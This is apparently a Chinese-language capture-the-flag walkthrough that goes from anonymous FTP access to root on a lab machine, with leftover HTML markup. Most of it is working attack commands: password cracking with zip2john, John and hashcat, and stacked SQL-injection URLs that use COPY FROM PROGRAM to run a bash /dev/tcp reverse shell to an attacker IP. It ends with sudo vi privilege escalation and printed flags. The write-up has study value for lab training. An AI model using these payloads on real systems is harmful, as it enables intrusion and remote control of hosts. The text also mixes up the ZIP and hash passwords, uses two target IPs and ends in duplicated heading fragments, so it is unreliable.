渗透测试实战：从FTP匿名访问到Root提权<\/h1>

1. 信息收集与初始访问<\/h2>

1.1 端口扫描与服务识别<\/h3>

使用nmap进行快速扫描，识别开放端口和服务：<\/p>

nmap -sS -T4 10.129.230.43 --min-rate 1000<\/span>
<\/span><\/span><\/code><\/pre>发现服务：<\/p>

SSH (通常为22端口)<\/li>
HTTP (通常为80端口)<\/li>
FTP (21端口)<\/li>
<\/ul>
1.2 FTP匿名访问<\/h3>
FTP服务允许匿名登录，使用以下凭证：<\/p>

用户名：anonymous<\/code><\/li>
密码：任意（可留空）<\/li>
<\/ul>
连接FTP并下载文件：<\/p>
ftp 10.129.230.43
<\/span><\/span>Name: anonymous
<\/span><\/span>Password: [<\/span>回车]<\/span>
<\/span><\/span>> ls
<\/span><\/span>> get backup.zip
<\/span><\/span><\/code><\/pre>2. 密码破解与网站访问<\/h2>
2.1 破解ZIP密码<\/h3>
使用John the Ripper工具集中的zip2john<\/code>生成哈希：<\/p>
zip2john backup.zip > hashes
<\/span><\/span><\/code><\/pre>创建自定义字典文件wordlist.txt<\/code>：<\/p>
admin
admin123
password
password123
741852963
741852962
<\/code><\/pre>
使用John进行破解：<\/p>
john --wordlist=<\/span>.\/wordlist.txt hashes
<\/span><\/span><\/code><\/pre>或者使用hashcat：<\/p>
echo 2cb42f8734ea607eefed3b70af13bbd3 > hash
<\/span><\/span>hashcat -a 0<\/span> -m 0<\/span> hash \/usr\/share\/wordlists\/rockyou.txt
<\/span><\/span><\/code><\/pre>破解结果：qwerty789<\/code><\/p>
2.2 登录网站后台<\/h3>
使用破解的密码qwerty789<\/code>和可能的用户名组合（如admin）登录网站后台。<\/p>
3. SQL注入与命令执行<\/h2>
3.1 发现SQL注入点<\/h3>
在网站搜索功能中发现SQL注入漏洞。<\/p>
3.2 使用sqlmap进行利用<\/h3>
获取交互式shell：<\/p>
sqlmap --os-shell
<\/span><\/span><\/code><\/pre>或者手动构造注入payload：<\/p>

删除现有表（如果存在）：<\/li>
<\/ol>
http:\/\/10.129.95.174\/dashboard.php?search=a';DROP TABLE IF EXISTS res; -- -
<\/code><\/pre>

创建新表存储命令输出：<\/li>
<\/ol>
http:\/\/10.129.95.174\/dashboard.php?search=a';CREATE TABLE res(cmd_output text); -- -
<\/code><\/pre>

执行系统命令并存储结果（注意URL编码）：<\/li>
<\/ol>
http:\/\/10.129.95.174\/dashboard.php?search=a';COPY res FROM PROGRAM 'bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.6%2F10032%200%3E%261%22'; -- -
<\/code><\/pre>
3.3 获取反向shell<\/h3>
通过SQL注入执行反向shell命令，连接到攻击者机器：<\/p>
bash -c "bash -i >& \/dev\/tcp\/10.10.16.6\/10032 0>&1"<\/span>
<\/span><\/span><\/code><\/pre>4. 权限提升<\/h2>
4.1 查看网站配置文件<\/h3>
cat \/var\/www\/html\/dashboard.php
<\/span><\/span><\/code><\/pre>获取数据库凭据，用于SSH登录。<\/p>
4.2 检查sudo权限<\/h3>
sudo -l
<\/span><\/span><\/code><\/pre>输出显示postgres用户可以以root权限运行\/bin\/vi<\/code>编辑\/etc\/postgresql\/11\/main\/pg_hba.conf<\/code>文件。<\/p>
4.3 利用vi提权<\/h3>
方法一：直接执行shell<\/p>
sudo \/bin\/vi \/etc\/postgresql\/11\/main\/pg_hba.conf
:!\/bin\/sh
<\/code><\/pre>
方法二：设置shell后执行<\/p>
sudo \/bin\/vi \/etc\/postgresql\/11\/main\/pg_hba.conf
:set shell=\/bin\/bash
:shell
<\/code><\/pre>
5. 获取flag<\/h2>
5.1 用户flag<\/h3>
cat user.txt
<\/span><\/span><\/code><\/pre>ec9b13ca4d6229cd5cc1e09980965bf7<\/code><\/p>
5.2 root flag<\/h3>
cat \/root\/root.txt
<\/span><\/span><\/code><\/pre>dd6e058e814260bc70e9bbdef2715849<\/code><\/p>
总结：完整攻击路径<\/h2>

FTP匿名访问 → 下载网站源码备份(backup.zip)<\/li>
使用zip2john爆破ZIP密码(qwerty789)<\/li>
分析泄露源码 → 发现网站后台登录<\/li>
利用SQL注入获取命令执行能力<\/li>
通过dashboard.php泄露的凭据SSH登录<\/li>
sudo -l发现postgres用户可root运行\/bin\/vi<\/li>
利用vi编辑器功能提权到root<\/li>
<\/ol>

渗透测试实战：从FTP匿名访问到Root提权<\/h1>

1. 信息收集与初始访问<\/h2>

2. 密码破解与网站访问<\/h2>

3.1 发现SQL注入点<\/h3> 在网站搜索功能中发现SQL注入漏洞。<\/p>

4. 权限提升<\/h2>

5. 获取flag<\/h2>

3.1 发现SQL注入点<\/h3>
在网站搜索功能中发现SQL注入漏洞。<\/p>